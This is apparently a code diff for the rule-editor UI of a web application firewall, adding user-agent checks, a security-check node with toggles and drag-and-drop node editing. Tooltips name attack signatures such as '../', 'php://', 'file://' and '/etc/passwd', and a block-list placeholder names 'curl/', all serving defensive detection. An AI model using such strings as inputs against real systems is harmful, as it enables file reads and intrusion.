block_abnormal_ua: false,
|
||||
block_custom_ua: false,
|
||||
custom_ua_patterns: [],
|
||||
},
|
||||
};
|
||||
const onChange = vi.fn();
|
||||
const { rerender } = render(
|
||||
<NodeProperties node={node} ipGroups={[]} onChange={onChange} />,
|
||||
);
|
||||
expect(
|
||||
screen.queryByRole('switch', { name: /屏蔽常见爬虫/ }),
|
||||
).not.toBeInTheDocument();
|
||||
expect(screen.queryByLabelText('浏览器')).not.toBeInTheDocument();
|
||||
fireEvent.click(screen.getByRole('switch', { name: /开启 UA 检查/ }));
|
||||
expect(onChange).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
config: expect.objectContaining({ require_ua: true }),
|
||||
}),
|
||||
);
|
||||
rerender(
|
||||
<NodeProperties
|
||||
node={{ ...node, config: { ...node.config, require_ua: true } }}
|
||||
ipGroups={[]}
|
||||
onChange={onChange}
|
||||
/>,
|
||||
);
|
||||
expect(
|
||||
screen.getByRole('switch', { name: /屏蔽常见爬虫/ }),
|
||||
).toBeInTheDocument();
|
||||
expect(
|
||||
screen.getByRole('switch', { name: /屏蔽非正常/ }),
|
||||
).toBeInTheDocument();
|
||||
expect(
|
||||
screen.getByRole('switch', { name: /屏蔽自定义/ }),
|
||||
).toBeInTheDocument();
|
||||
expect(screen.getAllByLabelText('说明').length).toBeGreaterThan(0);
|
||||
});
|
||||
|
||||
it('edits display name for configurable nodes', () => {
|
||||
const node: WAFRuleNode = {
|
||||
id: 'match',
|
||||
type: 'ip_match',
|
||||
position: { x: 0, y: 0 },
|
||||
config: { ips: [], cidrs: [], ip_group_ids: [] },
|
||||
};
|
||||
const onChange = vi.fn();
|
||||
render(<NodeProperties node={node} ipGroups={[]} onChange={onChange} />);
|
||||
fireEvent.change(screen.getByLabelText('显示名称'), {
|
||||
target: { value: '内网放行' },
|
||||
});
|
||||
expect(onChange).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ label: '内网放行' }),
|
||||
);
|
||||
});
|
||||
|
||||
it('hides display name for system nodes', () => {
|
||||
const node: WAFRuleNode = {
|
||||
id: 'start',
|
||||
type: 'start',
|
||||
position: { x: 0, y: 0 },
|
||||
config: {},
|
||||
};
|
||||
render(<NodeProperties node={node} ipGroups={[]} onChange={vi.fn()} />);
|
||||
expect(screen.queryByLabelText('显示名称')).not.toBeInTheDocument();
|
||||
expect(screen.getByText('系统节点无需配置。')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('edits IP group config through a typed multi-select', async () => {
|
||||
const node: WAFRuleNode = {
|
||||
id: 'match',
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import { Settings2 } from 'lucide-react';
|
||||
import { CircleHelp, Settings2 } from 'lucide-react';
|
||||
import { useState } from 'react';
|
||||
|
||||
import { Button } from '@/components/ui/button';
|
||||
@@ -25,10 +25,18 @@ import {
|
||||
SelectValue,
|
||||
} from '@/components/ui/select';
|
||||
import { Separator } from '@/components/ui/separator';
|
||||
import { Switch } from '@/components/ui/switch';
|
||||
import { Textarea } from '@/components/ui/textarea';
|
||||
import {
|
||||
Tooltip,
|
||||
TooltipContent,
|
||||
TooltipTrigger,
|
||||
} from '@/components/ui/tooltip';
|
||||
import type { WAFIPGroup, WAFRuleNode } from '@/lib/services/openflare';
|
||||
|
||||
import { countryOptions, regionOptions, type GeoOption } from './geo-options';
|
||||
import { NODE_TYPE_LABELS } from './node-factory';
|
||||
import { UA_BROWSER_OPTIONS, UA_OS_OPTIONS } from './ua-options';
|
||||
|
||||
export function NodeProperties({
|
||||
node,
|
||||
@@ -72,6 +80,7 @@ function PropertyFields({
|
||||
if (node.type === 'ip_match')
|
||||
return (
|
||||
<FieldGroup>
|
||||
<DisplayNameField node={node} onChange={onChange} />
|
||||
<CsvField
|
||||
id={`${node.id}-ips`}
|
||||
label='IP 地址'
|
||||
@@ -109,6 +118,7 @@ function PropertyFields({
|
||||
if (node.type === 'geo_match')
|
||||
return (
|
||||
<FieldGroup>
|
||||
<DisplayNameField node={node} onChange={onChange} />
|
||||
<MultiSelect
|
||||
id={`${node.id}-countries`}
|
||||
label='国家代码'
|
||||
@@ -134,9 +144,299 @@ function PropertyFields({
|
||||
/>
|
||||
</FieldGroup>
|
||||
);
|
||||
if (node.type === 'ua_check')
|
||||
return (
|
||||
<FieldGroup>
|
||||
<DisplayNameField node={node} onChange={onChange} />
|
||||
<div className='space-y-1'>
|
||||
<p className='text-xs font-medium text-muted-foreground'>UA 检查</p>
|
||||
<Field
|
||||
orientation='horizontal'
|
||||
className='items-center justify-between'
|
||||
>
|
||||
<FieldLabel
|
||||
htmlFor={`${node.id}-require-ua`}
|
||||
className='flex items-center gap-1.5'
|
||||
>
|
||||
开启 UA 检查
|
||||
<FieldHelp tip='开启后如果请求头不携带 UA 将返回 False' />
|
||||
</FieldLabel>
|
||||
<Switch
|
||||
id={`${node.id}-require-ua`}
|
||||
checked={node.config.require_ua}
|
||||
onCheckedChange={(require_ua) =>
|
||||
onChange({ ...node, config: { ...node.config, require_ua } })
|
||||
}
|
||||
/>
|
||||
</Field>
|
||||
</div>
|
||||
{node.config.require_ua && (
|
||||
<>
|
||||
<Separator />
|
||||
<div className='space-y-3'>
|
||||
<p className='flex items-center gap-1.5 text-xs font-medium text-muted-foreground'>
|
||||
屏蔽
|
||||
<FieldHelp tip='命中返回 false,优先级高于匹配' />
|
||||
</p>
|
||||
<Field
|
||||
orientation='horizontal'
|
||||
className='items-center justify-between gap-3'
|
||||
>
|
||||
<FieldLabel
|
||||
htmlFor={`${node.id}-block-bots`}
|
||||
className='flex items-center gap-1.5'
|
||||
>
|
||||
屏蔽常见爬虫 UA
|
||||
<FieldHelp tip='浏览器或操作系统分类为 Bot(含 bot / spider / crawler / slurp 等特征,如 Googlebot)' />
|
||||
</FieldLabel>
|
||||
<Switch
|
||||
id={`${node.id}-block-bots`}
|
||||
checked={node.config.block_common_bots}
|
||||
onCheckedChange={(block_common_bots) =>
|
||||
onChange({
|
||||
...node,
|
||||
config: { ...node.config, block_common_bots },
|
||||
})
|
||||
}
|
||||
/>
|
||||
</Field>
|
||||
<Field
|
||||
orientation='horizontal'
|
||||
className='items-center justify-between gap-3'
|
||||
>
|
||||
<FieldLabel
|
||||
htmlFor={`${node.id}-block-abnormal`}
|
||||
className='flex items-center gap-1.5'
|
||||
>
|
||||
屏蔽非正常 UA
|
||||
<FieldHelp tip='浏览器分类为 Other 或 Unknown(不含搜索引擎等爬虫 Bot,爬虫请用上方开关)' />
|
||||
</FieldLabel>
|
||||
<Switch
|
||||
id={`${node.id}-block-abnormal`}
|
||||
checked={node.config.block_abnormal_ua}
|
||||
onCheckedChange={(block_abnormal_ua) =>
|
||||
onChange({
|
||||
...node,
|
||||
config: { ...node.config, block_abnormal_ua },
|
||||
})
|
||||
}
|
||||
/>
|
||||
</Field>
|
||||
<Field
|
||||
orientation='horizontal'
|
||||
className='items-center justify-between gap-3'
|
||||
>
|
||||
<FieldLabel
|
||||
htmlFor={`${node.id}-block-custom`}
|
||||
className='flex items-center gap-1.5'
|
||||
>
|
||||
屏蔽自定义 UA
|
||||
<FieldHelp tip='原始 User-Agent 命中任一条正则时返回 false(Lua 模式语法)' />
|
||||
</FieldLabel>
|
||||
<Switch
|
||||
id={`${node.id}-block-custom`}
|
||||
checked={node.config.block_custom_ua}
|
||||
onCheckedChange={(block_custom_ua) =>
|
||||
onChange({
|
||||
...node,
|
||||
config: { ...node.config, block_custom_ua },
|
||||
})
|
||||
}
|
||||
/>
|
||||
</Field>
|
||||
{node.config.block_custom_ua && (
|
||||
<Field>
|
||||
<FieldLabel
|
||||
htmlFor={`${node.id}-custom-patterns`}
|
||||
className='flex items-center gap-1.5'
|
||||
>
|
||||
自定义 UA 正则
|
||||
<FieldHelp tip='每行一条 Lua 模式正则,命中任一条即 false;最多 32 条' />
|
||||
</FieldLabel>
|
||||
<Textarea
|
||||
id={`${node.id}-custom-patterns`}
|
||||
rows={4}
|
||||
value={node.config.custom_ua_patterns.join('\n')}
|
||||
placeholder={'python%-requests\ncurl/'}
|
||||
onChange={(event) =>
|
||||
onChange({
|
||||
...node,
|
||||
config: {
|
||||
...node.config,
|
||||
custom_ua_patterns: event.target.value
|
||||
.split('\n')
|
||||
.map((item) => item.trim())
|
||||
.filter(Boolean),
|
||||
},
|
||||
})
|
||||
}
|
||||
/>
|
||||
</Field>
|
||||
)}
|
||||
</div>
|
||||
<Separator />
|
||||
<div className='space-y-3'>
|
||||
<p className='text-xs font-medium text-muted-foreground'>
|
||||
UA 匹配
|
||||
</p>
|
||||
<Field>
|
||||
<FieldLabel
|
||||
htmlFor={`${node.id}-match-mode`}
|
||||
className='flex items-center gap-1.5'
|
||||
>
|
||||
匹配模式
|
||||
<FieldHelp tip='浏览器与操作系统两侧都有选择时生效' />
|
||||
</FieldLabel>
|
||||
<Select
|
||||
value={node.config.match_mode}
|
||||
onValueChange={(match_mode: 'and' | 'or') =>
|
||||
onChange({
|
||||
...node,
|
||||
config: { ...node.config, match_mode },
|
||||
})
|
||||
}
|
||||
>
|
||||
<SelectTrigger
|
||||
id={`${node.id}-match-mode`}
|
||||
className='w-full'
|
||||
>
|
||||
<SelectValue />
|
||||
</SelectTrigger>
|
||||
<SelectContent>
|
||||
<SelectGroup>
|
||||
<SelectItem value='or'>或(OR)</SelectItem>
|
||||
<SelectItem value='and'>且(AND)</SelectItem>
|
||||
</SelectGroup>
|
||||
</SelectContent>
|
||||
</Select>
|
||||
</Field>
|
||||
<MultiSelect
|
||||
id={`${node.id}-browsers`}
|
||||
label='浏览器'
|
||||
options={UA_BROWSER_OPTIONS.map((option) => ({
|
||||
value: option.value,
|
||||
label: option.label,
|
||||
searchText: `${option.label} ${option.value}`,
|
||||
}))}
|
||||
value={node.config.browsers}
|
||||
onChange={(browsers) =>
|
||||
onChange({ ...node, config: { ...node.config, browsers } })
|
||||
}
|
||||
/>
|
||||
<MultiSelect
|
||||
id={`${node.id}-os`}
|
||||
label='操作系统'
|
||||
options={UA_OS_OPTIONS.map((option) => ({
|
||||
value: option.value,
|
||||
label: option.label,
|
||||
searchText: `${option.label} ${option.value}`,
|
||||
}))}
|
||||
value={node.config.operating_systems}
|
||||
onChange={(operating_systems) =>
|
||||
onChange({
|
||||
...node,
|
||||
config: { ...node.config, operating_systems },
|
||||
})
|
||||
}
|
||||
/>
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
</FieldGroup>
|
||||
);
|
||||
if (node.type === 'security_check')
|
||||
return (
|
||||
<FieldGroup>
|
||||
<DisplayNameField node={node} onChange={onChange} />
|
||||
<div className='space-y-1'>
|
||||
<p className='flex items-center gap-1.5 text-xs font-medium text-muted-foreground'>
|
||||
安全防护
|
||||
<FieldHelp tip='命中任意已启用规则返回 False' />
|
||||
</p>
|
||||
</div>
|
||||
<Separator />
|
||||
<div className='space-y-3'>
|
||||
<p className='text-xs font-medium text-muted-foreground'>基础防护</p>
|
||||
{(
|
||||
[
|
||||
{
|
||||
key: 'path_traversal',
|
||||
label: '路径穿越防护',
|
||||
tip: '检测 Path / Query / Body 中的 ../ 与编码变种',
|
||||
},
|
||||
{
|
||||
key: 'file_inclusion',
|
||||
label: '文件包含(LFI/RFI)',
|
||||
tip: '检测 Path / Query / Body 中的 php://、file://、/etc/passwd 等',
|
||||
},
|
||||
{
|
||||
key: 'sql_injection',
|
||||
label: 'SQL 注入',
|
||||
tip: '检测 Query / Body / Header / Cookie 中的 SQL 注入特征',
|
||||
},
|
||||
{
|
||||
key: 'command_injection',
|
||||
label: '命令注入',
|
||||
tip: '检测 Query / Body / Header 中的 OS 命令注入特征',
|
||||
},
|
||||
{
|
||||
key: 'xss',
|
||||
label: 'XSS',
|
||||
tip: '检测 Query / Body / Header 中的反射型 XSS 特征',
|
||||
},
|
||||
{
|
||||
key: 'ssrf',
|
||||
label: 'SSRF',
|
||||
tip: '检测 Query / Body 中的内网地址与危险协议',
|
||||
},
|
||||
{
|
||||
key: 'malicious_upload',
|
||||
label: '恶意文件上传',
|
||||
tip: '检测 Multipart 文件名与危险扩展名',
|
||||
},
|
||||
{
|
||||
key: 'xxe',
|
||||
label: 'XXE',
|
||||
tip: '检测 XML Body 中的外部实体特征',
|
||||
},
|
||||
{
|
||||
key: 'crlf_injection',
|
||||
label: 'CRLF 注入',
|
||||
tip: '检测 Header / Query / Body 中的换行注入',
|
||||
},
|
||||
] as const
|
||||
).map((item) => (
|
||||
<Field
|
||||
key={item.key}
|
||||
orientation='horizontal'
|
||||
className='items-center justify-between gap-3'
|
||||
>
|
||||
<FieldLabel
|
||||
htmlFor={`${node.id}-${item.key}`}
|
||||
className='flex items-center gap-1.5'
|
||||
>
|
||||
{item.label}
|
||||
<FieldHelp tip={item.tip} />
|
||||
</FieldLabel>
|
||||
<Switch
|
||||
id={`${node.id}-${item.key}`}
|
||||
checked={node.config[item.key]}
|
||||
onCheckedChange={(checked) =>
|
||||
onChange({
|
||||
...node,
|
||||
config: { ...node.config, [item.key]: checked },
|
||||
})
|
||||
}
|
||||
/>
|
||||
</Field>
|
||||
))}
|
||||
</div>
|
||||
</FieldGroup>
|
||||
);
|
||||
if (node.type === 'pow')
|
||||
return (
|
||||
<FieldGroup>
|
||||
<DisplayNameField node={node} onChange={onChange} />
|
||||
<Field>
|
||||
<FieldLabel htmlFor={`${node.id}-algorithm`}>算法</FieldLabel>
|
||||
<Select
|
||||
@@ -181,6 +481,7 @@ function PropertyFields({
|
||||
);
|
||||
return (
|
||||
<FieldGroup>
|
||||
<DisplayNameField node={node} onChange={onChange} />
|
||||
<NumberField
|
||||
id={`${node.id}-status`}
|
||||
min={400}
|
||||
@@ -213,6 +514,46 @@ function PropertyFields({
|
||||
);
|
||||
}
|
||||
|
||||
function FieldHelp({ tip }: { tip: string }) {
|
||||
return (
|
||||
<Tooltip>
|
||||
<TooltipTrigger asChild>
|
||||
<button
|
||||
type='button'
|
||||
className='inline-flex size-4 shrink-0 items-center justify-center text-muted-foreground transition-colors hover:text-foreground'
|
||||
aria-label='说明'
|
||||
onClick={(event) => event.preventDefault()}
|
||||
>
|
||||
<CircleHelp className='size-3.5' />
|
||||
</button>
|
||||
</TooltipTrigger>
|
||||
<TooltipContent side='top' className='max-w-56 text-xs'>
|
||||
{tip}
|
||||
</TooltipContent>
|
||||
</Tooltip>
|
||||
);
|
||||
}
|
||||
|
||||
function DisplayNameField({
|
||||
node,
|
||||
onChange,
|
||||
}: {
|
||||
node: WAFRuleNode;
|
||||
onChange: (node: WAFRuleNode) => void;
|
||||
}) {
|
||||
return (
|
||||
<Field>
|
||||
<FieldLabel htmlFor={`${node.id}-label`}>显示名称</FieldLabel>
|
||||
<Input
|
||||
id={`${node.id}-label`}
|
||||
value={node.label ?? ''}
|
||||
placeholder={NODE_TYPE_LABELS[node.type]}
|
||||
onChange={(event) => onChange({ ...node, label: event.target.value })}
|
||||
/>
|
||||
</Field>
|
||||
);
|
||||
}
|
||||
|
||||
function CsvField({
|
||||
id,
|
||||
label,
|
||||
|
||||
@@ -1,6 +1,13 @@
|
||||
'use client';
|
||||
|
||||
import { useCallback, useEffect, useRef } from 'react';
|
||||
import {
|
||||
type DragEvent,
|
||||
type MouseEvent as ReactMouseEvent,
|
||||
useCallback,
|
||||
useEffect,
|
||||
useRef,
|
||||
useState,
|
||||
} from 'react';
|
||||
import {
|
||||
addEdge,
|
||||
applyEdgeChanges,
|
||||
@@ -21,12 +28,8 @@ import {
|
||||
import { Trash2 } from 'lucide-react';
|
||||
import '@xyflow/react/dist/style.css';
|
||||
|
||||
import { Button } from '@/components/ui/button';
|
||||
import type {
|
||||
WAFRuleEdge,
|
||||
WAFRuleGraph,
|
||||
WAFRuleNode,
|
||||
} from '@/lib/services/openflare';
|
||||
import type { WAFRuleEdge, WAFRuleGraph } from '@/lib/services/openflare';
|
||||
import { cn } from '@/lib/utils';
|
||||
|
||||
import {
|
||||
acceptedNodeChanges,
|
||||
@@ -40,6 +43,12 @@ import {
|
||||
removeEdgeFromGraph,
|
||||
removeNodeFromGraph,
|
||||
} from './graph-validation';
|
||||
import {
|
||||
createRuleNode,
|
||||
parseAddableNodeType,
|
||||
WAF_NODE_DRAG_MIME,
|
||||
type AddableNodeType,
|
||||
} from './node-factory';
|
||||
import { NodeLibrary } from './node-library';
|
||||
import { RuleNode, type RuleFlowNodeData } from './rule-node';
|
||||
|
||||
@@ -80,6 +89,11 @@ export function RuleFlowCanvas({
|
||||
const [edges, setEdges, applyFlowEdgeChanges] = useEdgesState<FlowEdge>(
|
||||
buildFlowEdges(graph, selectedId, selectedEdgeId),
|
||||
);
|
||||
const [contextMenu, setContextMenu] = useState<
|
||||
| { kind: 'node'; id: string; x: number; y: number }
|
||||
| { kind: 'edge'; id: string; x: number; y: number }
|
||||
| null
|
||||
>(null);
|
||||
|
||||
useEffect(() => {
|
||||
setNodes((current) => buildFlowNodes(graph, issues, selectedId, current));
|
||||
@@ -201,103 +215,136 @@ export function RuleFlowCanvas({
|
||||
[edges, graph, isValidConnection, onGraphChange, setEdges],
|
||||
);
|
||||
|
||||
const addNode = useCallback(
|
||||
(type: 'ip_match' | 'geo_match' | 'pow' | 'block') => {
|
||||
const id = `${type}-${crypto.randomUUID().slice(0, 8)}`;
|
||||
const config =
|
||||
type === 'ip_match'
|
||||
? { ips: [], cidrs: [], ip_group_ids: [] }
|
||||
: type === 'geo_match'
|
||||
? { countries: [], regions: [] }
|
||||
: type === 'pow'
|
||||
? {
|
||||
algorithm: 'fast' as const,
|
||||
difficulty: 4,
|
||||
session_ttl: 3600,
|
||||
challenge_ttl: 300,
|
||||
}
|
||||
: { status_code: 403, response_body: '' };
|
||||
const addNodeAt = useCallback(
|
||||
(type: AddableNodeType, position: { x: number; y: number }) => {
|
||||
const node = createRuleNode(type, position);
|
||||
onGraphChange({
|
||||
...graph,
|
||||
nodes: [
|
||||
...graph.nodes,
|
||||
{
|
||||
id,
|
||||
type,
|
||||
position: { x: 240, y: 140 + graph.nodes.length * 24 },
|
||||
config,
|
||||
} as WAFRuleNode,
|
||||
],
|
||||
nodes: [...graph.nodes, node],
|
||||
});
|
||||
onSelectEdge(undefined);
|
||||
onSelect(id);
|
||||
onSelect(node.id);
|
||||
},
|
||||
[graph, onGraphChange, onSelect, onSelectEdge],
|
||||
);
|
||||
|
||||
const selectedNode = graph.nodes.find((node) => node.id === selectedId);
|
||||
const canDeleteNode = Boolean(
|
||||
selectedNode && !['start', 'allow'].includes(selectedNode.type),
|
||||
);
|
||||
const canDeleteEdge = Boolean(
|
||||
selectedEdgeId && graph.edges.some((edge) => edge.id === selectedEdgeId),
|
||||
);
|
||||
const canDelete = canDeleteNode || canDeleteEdge;
|
||||
const deleteLabel = canDeleteEdge
|
||||
? '删除连线'
|
||||
: canDeleteNode
|
||||
? '删除节点'
|
||||
: selectedNode
|
||||
? '系统节点不可删除'
|
||||
: '请选择可删除项';
|
||||
const onDragOver = useCallback((event: DragEvent) => {
|
||||
event.preventDefault();
|
||||
event.dataTransfer.dropEffect = 'copy';
|
||||
}, []);
|
||||
|
||||
const deleteSelection = useCallback(() => {
|
||||
if (canDeleteEdge && selectedEdgeId) {
|
||||
setEdges((current) =>
|
||||
current.filter((edge) => edge.id !== selectedEdgeId),
|
||||
);
|
||||
onGraphChange(removeEdgeFromGraph(graph, selectedEdgeId));
|
||||
onSelectEdge(undefined);
|
||||
return;
|
||||
}
|
||||
if (canDeleteNode && selectedId) {
|
||||
setNodes((current) => current.filter((node) => node.id !== selectedId));
|
||||
const onDrop = useCallback(
|
||||
(event: DragEvent) => {
|
||||
event.preventDefault();
|
||||
const raw =
|
||||
event.dataTransfer.getData(WAF_NODE_DRAG_MIME) ||
|
||||
event.dataTransfer.getData('text/plain');
|
||||
const type = parseAddableNodeType(raw);
|
||||
if (!type || !instance.current) return;
|
||||
const position = instance.current.screenToFlowPosition({
|
||||
x: event.clientX,
|
||||
y: event.clientY,
|
||||
});
|
||||
addNodeAt(type, position);
|
||||
},
|
||||
[addNodeAt],
|
||||
);
|
||||
|
||||
const deleteNodeById = useCallback(
|
||||
(nodeId: string) => {
|
||||
const target = graph.nodes.find((node) => node.id === nodeId);
|
||||
if (!target || ['start', 'allow'].includes(target.type)) return;
|
||||
setNodes((current) => current.filter((node) => node.id !== nodeId));
|
||||
setEdges((current) =>
|
||||
current.filter(
|
||||
(edge) => edge.source !== selectedId && edge.target !== selectedId,
|
||||
(edge) => edge.source !== nodeId && edge.target !== nodeId,
|
||||
),
|
||||
);
|
||||
onGraphChange(removeNodeFromGraph(graph, selectedId));
|
||||
onGraphChange(removeNodeFromGraph(graph, nodeId));
|
||||
if (selectedId === nodeId) onSelect(undefined);
|
||||
if (selectedEdgeId) onSelectEdge(undefined);
|
||||
},
|
||||
[
|
||||
graph,
|
||||
onGraphChange,
|
||||
onSelect,
|
||||
onSelectEdge,
|
||||
selectedEdgeId,
|
||||
selectedId,
|
||||
setEdges,
|
||||
setNodes,
|
||||
],
|
||||
);
|
||||
|
||||
const deleteEdgeById = useCallback(
|
||||
(edgeId: string) => {
|
||||
if (!graph.edges.some((edge) => edge.id === edgeId)) return;
|
||||
setEdges((current) => current.filter((edge) => edge.id !== edgeId));
|
||||
onGraphChange(removeEdgeFromGraph(graph, edgeId));
|
||||
if (selectedEdgeId === edgeId) onSelectEdge(undefined);
|
||||
},
|
||||
[graph, onGraphChange, onSelectEdge, selectedEdgeId, setEdges],
|
||||
);
|
||||
|
||||
const openNodeContextMenu = useCallback(
|
||||
(event: ReactMouseEvent, node: FlowNode) => {
|
||||
event.preventDefault();
|
||||
event.stopPropagation();
|
||||
onSelectEdge(undefined);
|
||||
onSelect(node.id);
|
||||
setContextMenu({
|
||||
kind: 'node',
|
||||
id: node.id,
|
||||
x: event.clientX,
|
||||
y: event.clientY,
|
||||
});
|
||||
},
|
||||
[onSelect, onSelectEdge],
|
||||
);
|
||||
|
||||
const openEdgeContextMenu = useCallback(
|
||||
(event: ReactMouseEvent, edge: FlowEdge) => {
|
||||
event.preventDefault();
|
||||
event.stopPropagation();
|
||||
onSelect(undefined);
|
||||
}
|
||||
}, [
|
||||
canDeleteEdge,
|
||||
canDeleteNode,
|
||||
graph,
|
||||
onGraphChange,
|
||||
onSelect,
|
||||
onSelectEdge,
|
||||
selectedEdgeId,
|
||||
selectedId,
|
||||
setEdges,
|
||||
setNodes,
|
||||
]);
|
||||
onSelectEdge(edge.id);
|
||||
setContextMenu({
|
||||
kind: 'edge',
|
||||
id: edge.id,
|
||||
x: event.clientX,
|
||||
y: event.clientY,
|
||||
});
|
||||
},
|
||||
[onSelect, onSelectEdge],
|
||||
);
|
||||
|
||||
const suppressBrowserContextMenu = useCallback(
|
||||
(event: ReactMouseEvent | MouseEvent) => {
|
||||
event.preventDefault();
|
||||
setContextMenu(null);
|
||||
},
|
||||
[],
|
||||
);
|
||||
|
||||
const contextNode =
|
||||
contextMenu?.kind === 'node'
|
||||
? graph.nodes.find((node) => node.id === contextMenu.id)
|
||||
: undefined;
|
||||
const contextCanDeleteNode = Boolean(
|
||||
contextNode && !['start', 'allow'].includes(contextNode.type),
|
||||
);
|
||||
const contextCanDeleteEdge = Boolean(
|
||||
contextMenu?.kind === 'edge' &&
|
||||
graph.edges.some((edge) => edge.id === contextMenu.id),
|
||||
);
|
||||
|
||||
return (
|
||||
<section className='relative min-w-0 flex-1 bg-muted/20'>
|
||||
<section
|
||||
className='relative min-w-0 flex-1 bg-muted/20'
|
||||
onContextMenu={suppressBrowserContextMenu}
|
||||
>
|
||||
<div className='absolute left-4 top-4 z-10 rounded-lg border bg-background/95 p-2 shadow-sm backdrop-blur'>
|
||||
<NodeLibrary onAdd={addNode} />
|
||||
</div>
|
||||
<div className='absolute right-4 top-4 z-10'>
|
||||
<Button
|
||||
variant='destructive'
|
||||
size='sm'
|
||||
disabled={!canDelete}
|
||||
onClick={deleteSelection}
|
||||
>
|
||||
<Trash2 data-icon='inline-start' />
|
||||
{deleteLabel}
|
||||
</Button>
|
||||
<NodeLibrary />
|
||||
</div>
|
||||
<ReactFlow
|
||||
nodes={nodes}
|
||||
@@ -318,23 +365,81 @@ export function RuleFlowCanvas({
|
||||
onNodeClick={(_, node) => {
|
||||
onSelectEdge(undefined);
|
||||
onSelect(node.id);
|
||||
setContextMenu(null);
|
||||
}}
|
||||
onEdgeClick={(_, edge) => {
|
||||
onSelect(undefined);
|
||||
onSelectEdge(edge.id);
|
||||
setContextMenu(null);
|
||||
}}
|
||||
onPaneClick={() => {
|
||||
onSelect(undefined);
|
||||
onSelectEdge(undefined);
|
||||
setContextMenu(null);
|
||||
}}
|
||||
onMoveStart={() => setContextMenu(null)}
|
||||
onNodeContextMenu={openNodeContextMenu}
|
||||
onEdgeContextMenu={openEdgeContextMenu}
|
||||
onPaneContextMenu={suppressBrowserContextMenu}
|
||||
onDragOver={onDragOver}
|
||||
onDrop={onDrop}
|
||||
fitView
|
||||
fitViewOptions={initialFitViewOptions}
|
||||
deleteKeyCode={['Backspace', 'Delete']}
|
||||
className='h-full w-full'
|
||||
>
|
||||
<Background gap={20} size={1} />
|
||||
<MiniMap pannable zoomable />
|
||||
<Controls />
|
||||
</ReactFlow>
|
||||
{contextMenu && (
|
||||
<div
|
||||
className='fixed z-50 min-w-40 overflow-hidden rounded-md border bg-popover p-1 text-popover-foreground shadow-md'
|
||||
style={{ left: contextMenu.x, top: contextMenu.y }}
|
||||
role='menu'
|
||||
>
|
||||
{contextMenu.kind === 'node' && (
|
||||
<button
|
||||
type='button'
|
||||
role='menuitem'
|
||||
disabled={!contextCanDeleteNode}
|
||||
className={cn(
|
||||
'flex w-full items-center gap-2 rounded-sm px-2 py-1.5 text-sm outline-none',
|
||||
contextCanDeleteNode
|
||||
? 'text-destructive hover:bg-destructive/10'
|
||||
: 'cursor-not-allowed text-muted-foreground opacity-60',
|
||||
)}
|
||||
onClick={() => {
|
||||
deleteNodeById(contextMenu.id);
|
||||
setContextMenu(null);
|
||||
}}
|
||||
>
|
||||
<Trash2 className='size-4' />
|
||||
{contextCanDeleteNode ? '删除节点' : '系统节点不可删除'}
|
||||
</button>
|
||||
)}
|
||||
{contextMenu.kind === 'edge' && (
|
||||
<button
|
||||
type='button'
|
||||
role='menuitem'
|
||||
disabled={!contextCanDeleteEdge}
|
||||
className={cn(
|
||||
'flex w-full items-center gap-2 rounded-sm px-2 py-1.5 text-sm outline-none',
|
||||
contextCanDeleteEdge
|
||||
? 'text-destructive hover:bg-destructive/10'
|
||||
: 'cursor-not-allowed text-muted-foreground opacity-60',
|
||||
)}
|
||||
onClick={() => {
|
||||
deleteEdgeById(contextMenu.id);
|
||||
setContextMenu(null);
|
||||
}}
|
||||
>
|
||||
<Trash2 className='size-4' />
|
||||
删除连线
|
||||
</button>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</section>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -5,6 +5,8 @@ import {
|
||||
Flag,
|
||||
Globe2,
|
||||
Play,
|
||||
ScanSearch,
|
||||
Shield,
|
||||
ShieldCheck,
|
||||
} from 'lucide-react';
|
||||
|
||||
@@ -12,31 +14,38 @@ import { Badge } from '@/components/ui/badge';
|
||||
import { cn } from '@/lib/utils';
|
||||
import type { WAFRuleNode } from '@/lib/services/openflare';
|
||||
|
||||
import { displayNodeTitle } from './node-factory';
|
||||
|
||||
export interface RuleFlowNodeData extends Record<string, unknown> {
|
||||
rule: WAFRuleNode;
|
||||
issues: number;
|
||||
}
|
||||
|
||||
const meta = {
|
||||
start: { label: '开始', icon: Play },
|
||||
ip_match: { label: 'IP 匹配', icon: Fingerprint },
|
||||
geo_match: { label: '地域匹配', icon: Globe2 },
|
||||
pow: { label: 'PoW 挑战', icon: ShieldCheck },
|
||||
allow: { label: '通过', icon: Flag },
|
||||
block: { label: '阻止', icon: Ban },
|
||||
start: { icon: Play },
|
||||
ip_match: { icon: Fingerprint },
|
||||
geo_match: { icon: Globe2 },
|
||||
ua_check: { icon: ScanSearch },
|
||||
security_check: { icon: Shield },
|
||||
pow: { icon: ShieldCheck },
|
||||
allow: { icon: Flag },
|
||||
block: { icon: Ban },
|
||||
} as const;
|
||||
|
||||
const outputHandles: Partial<Record<WAFRuleNode['type'], string[]>> = {
|
||||
start: ['next'],
|
||||
ip_match: ['true', 'false'],
|
||||
geo_match: ['true', 'false'],
|
||||
ua_check: ['true', 'false'],
|
||||
security_check: ['true', 'false'],
|
||||
pow: ['next'],
|
||||
};
|
||||
|
||||
export function RuleNode({ data, selected }: NodeProps) {
|
||||
const value = data as RuleFlowNodeData;
|
||||
const { rule, issues } = value;
|
||||
const { label, icon: Icon } = meta[rule.type];
|
||||
const { icon: Icon } = meta[rule.type];
|
||||
const title = displayNodeTitle(rule);
|
||||
return (
|
||||
<div
|
||||
className={cn(
|
||||
@@ -51,7 +60,7 @@ export function RuleNode({ data, selected }: NodeProps) {
|
||||
<div className='flex items-center gap-3 px-4 py-3'>
|
||||
<Icon className='size-5 text-primary' />
|
||||
<div className='flex min-w-0 flex-1 flex-col gap-0.5'>
|
||||
<span className='text-sm font-medium'>{label}</span>
|
||||
<span className='text-sm font-medium'>{title}</span>
|
||||
<span className='font-mono text-[10px] text-muted-foreground'>
|
||||
{rule.id}
|
||||
</span>
|
||||
|
||||
@@ -0,0 +1,33 @@
|
||||
export const UA_BROWSER_OPTIONS = [
|
||||
{ value: 'Chrome', label: 'Chrome' },
|
||||
{ value: 'Safari', label: 'Safari' },
|
||||
{ value: 'Firefox', label: 'Firefox' },
|
||||
{ value: 'Edge', label: 'Edge' },
|
||||
{ value: 'Opera', label: 'Opera' },
|
||||
{ value: 'Chromium', label: 'Chromium' },
|
||||
{ value: 'WeChat', label: '微信' },
|
